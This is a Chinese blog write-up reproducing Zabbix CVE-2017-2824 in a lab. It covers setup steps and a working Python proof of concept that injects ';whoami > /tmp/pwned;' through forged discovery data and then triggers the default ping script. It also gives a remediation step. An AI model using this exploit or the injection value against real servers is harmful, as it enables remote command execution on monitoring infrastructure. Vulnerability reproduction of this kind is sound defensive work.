Zabbix Server Active Proxy Trapper Remote Code Execution Vulnerability

今天openvas扫描到zabbix的一个漏洞

CVE号

CVE-2017-2824

漏洞描述

zabbix_server启动时会监听在10051端口,该端口如果对外开放,攻击者可以利用zabbix协议的command功能调用数据库中特定的脚本,只需要提供interface表中的hostid参数。在调用脚本时,{HOST.CONN}会被替换成表中的ip。由于插入的ip数据没有被过滤则将发生命令注入,严重时可以反弹shell等。
所以这里需要先在interface表中插入恶意指令,默认情况下,未经身份验证(需通过Zabbix授权)的攻击者无法做到这一点。要利用该漏洞还需要以下条件:配置好Action的自动发现功能,该功能可以将恶意的数据插入到interface表(配合Add host操作),从而可以进行命令注入攻击。

受影响版本
Zabbix 2.4.7 – 2.4.8r1

Zabbix安装
基础环境

yum install php php-mysql php-gd php-pear mysql mysql-server
groupadd zabbix
useradd -g zabbix zabbix
service mysqld start
service httpd start

Zabbix依赖

yum install -y curl curl-devel mydql-devel net-snmp snmp net-snmp-devel perl-DBI php-gd php-xml php-bcmath php-mbstring php-ldap php-odbc php-xmlrpc
tar -xvf zabbix-2.4.7.tar.gz

安装

cd zabbix-2.4.7/
./configure --prefix=/usr/local/zabbix --enable-server --enable-agent --enable-proxy --with-mysql --enable-net-snmp --with-libcurl 
make
make install

导入数据

mysql -uroot
>create database zabbix character set utf8 collate utf8_bin;
>use zabbix;
>source /root/zabbix-2.4.7/database/mysql/schema.sql
>source /root/zabbix-2.4.7/database/mysql/images.sql
>source /root/zabbix-2.4.7/database/mysql/data.sql

Web配置

cd frontends/php
cp -a . /var/www/html
cd /var/www/html/
chown apache:apache -R .

修改php.ini

post_max_size = 16M
max_execution_time = 300
max_input_time = 300
date.timezone = Asia/Shanghai
allow_url_fopen = On

访问http://172.16.100.181/setup.php进行安装,安装后默认登录凭证是Admin/zabbix

启动zabbix_server

cd /root/zabbix-2.4.7/misc/init.d/fedora/core
cp * /etc/init.d/

修改zabbix_server和zabbix_agentd

BASEDIR=/usr/local/zabbix

启动zabbix服务
配置Mysql连接
修改/usr/local/zabbix/etc/zabbix_server.conf

DBPassword=hehe123
DBSocket=/var/lib/mysql/mysql.sock

漏洞利用的数据表:

mysql> select * from interface;
+-------------+--------+------+------+-------+-----------+-----+-------+------+
| interfaceid | hostid | main | type | useip | ip | dns | port | bulk |
+-------------+--------+------+------+-------+-----------+-----+-------+------+
| 1 | 10084 | 1 | 1 | 1 | 127.0.0.1 | | 10050 | 1 |
+-------------+--------+------+------+-------+-----------+-----+-------+------+
1 row in set (0.00 sec)

mysql> select * from scripts;
+----------+-------------------------+----------------------------------------+-------------+----------+---------+-------------+--------------+------+------------+
| scriptid | name | command | host_access | usrgrpid | groupid | description | confirmation | type | execute_on |
+----------+-------------------------+----------------------------------------+-------------+----------+---------+-------------+--------------+------+------------+
| 1 | Ping | /bin/ping -c 3 {HOST.CONN} 2>&1 | 2 | NULL | NULL | | | 0 | 1 |
| 2 | Traceroute | /usr/bin/traceroute {HOST.CONN} 2>&1 | 2 | NULL | NULL | | | 0 | 1 |
| 3 | Detect operating system | sudo /usr/bin/nmap -O {HOST.CONN} 2>&1 | 2 | 7 | NULL | | | 0 | 1 |
+----------+-------------------------+----------------------------------------+-------------+----------+---------+-------------+--------------+------+------------+
3 rows in set (0.00 sec)

测试过程
添加Proxy
Administration > proxies > Create proxy

创建Action
configuration > action > Event source(Discovery)> Create Action配置好条件和操作,操作为Add host

import socket
import struct
import json

ZABBIX_HOST = "172.16.100.181"
ZABBIX_PORT = 10051

def send_to_zabbix(data):

    client = socket.socket()
    client.connect((ZABBIX_HOST,ZABBIX_PORT))
    packet = "ZBXD\x01" + struct.pack('<Q', len(data)) + data
    client.sendall(packet)

    head = client.recv(1024)
    if "ZBXD" not in head:
        client.close()
        return head
    pkt_len = struct.unpack('<Q', client.recv(8))
    data = client.recv(pkt_len[0])
    client.close()
    return data

data = """{"request":"command","scriptid":1,"hostid":10107}"""

discovery = """{
    "request": "discovery data",
    "host": "{上面配置的Proxy的名称}",
    "clock":1485353070,
    "data": [
        {
            "clock":1485353070,
            "drule":2,
            "dcheck":2,
            "type":0,
            "ip":";whoami > /tmp/pwned;",        
            "dns":"abc.com.cc",
            "port":10050,
            "key":"zzztest",
            "status":0,
            "value":"fuck"
        }
    ]
    }
"""

#利用自动发现功能添加Host,需要修改host的值为上面配置的Proxy的名称,执行成功会返回SUCCESS,也可以‘select * from interface;’ 查看是否自动添加成功
print send_to_zabbix(discovery)

# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
#利用命令注入进行攻击,这里需要爆破hostid,例如这里我添加到interfaceid=2中的恶意命令的条目的hostid是10106,然后会获取该ip,替换 {HOST.CONN}并执行。
print send_to_zabbix(data)

恶意命令成功插入到interface表中。

mysql> select * from interface;
+-------------+--------+------+------+-------+-----------------------+------------+-------+------+
| interfaceid | hostid | main | type | useip | ip                    | dns        | port  | bulk |
+-------------+--------+------+------+-------+-----------------------+------------+-------+------+
|           1 |  10084 |    1 |    1 |     1 | 127.0.0.1             |            | 10050 |    1 |
|           2 |  10106 |    1 |    1 |     1 | ;whoami > /tmp/pwned; | abc.com.cc | 10050 |    1 |
+-------------+--------+------+------+-------+-----------------------+------------+-------+------+
2 rows in set (0.00 sec)

[root@vincent tmp]# cat /tmp/pwned 
zabbix

修复建议
删除掉scripts表中三个默认脚本

参考文章
https://www.vulbox.com/knowledge/detail/?id=9
http://bobao.360.cn/news/detail/4142.html

Zabbix之前总结的漏洞:

Zabbix漏洞总结